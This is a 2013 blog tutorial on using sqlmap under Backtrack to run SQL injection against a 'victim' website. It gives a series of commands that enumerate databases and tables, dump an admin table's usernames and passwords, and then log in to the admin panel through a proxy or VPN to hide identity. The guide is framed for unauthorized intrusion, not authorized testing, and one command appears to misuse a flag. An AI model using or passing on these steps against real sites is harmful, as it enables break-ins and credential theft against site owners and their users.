Showing posts with label Backtrack. Show all posts
Showing posts with label Backtrack. Show all posts

Saturday, 21 September 2013

SQLi Injection With SQL Map Backtrack - InfoGeeks

SQLi Injection With SQL Map Backtrack - InfoGeeks

Description:

SQL MAP is a Great Tool Of Backtrack For Doing SQL Injection On Vulnerable Sites. Hope you Will Learn Good From This Tutorial About SQL Map. So Lets Get Started

Steps:
1. Open your backtrack terminal and type cd/pentest/database/sqlmap and hit enter. Now sqlmap is open in your terminal

Information Geeks
2. Now find the vulnerable site. (well I already have vulnerable site)
Information Geeks
3. Now type this command in the terminal and hit enter.(refer above figure)

"python sqlmap.py -u http://yourvictim'slink/index.php?id=4 –dbs"

4. Now you will get the database name of the website 

Information Geeks
Well I got the two database aj and information_schema we will select aj database.

5. Now get the tables of that database. for that you need to enter this command into your terminal and simply hit Enter.
"python sqlmap.py -u http://yourvictim'slink/index.php?id=4 -D  (database name) –tables"

6. Now we need to grab the tables from the aj database. paste this command bellow command and hit enter.

"python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -D aj –tables"

Information Geeks

7. Now you will get the tables list which is stored in aj database.

Information Geeks

8. Now lets grab the columns from the admin table 

"python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -T admin --columns"

Information Geeks
Now we got the columns and we got username and password

9. Now lets grab the passwords of the admin

"python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -T admin -U test --dump"

Now we got the username and the password of the website !
Information Geeks
Now just find the admin Panel of the website and use proxy/vpn when you are trying to login in the website as a admin.

Thank you For Watching This Tutorial Hope You Like It. Keep visiting Here And Learning.

Receive All Free Updates Via Facebook.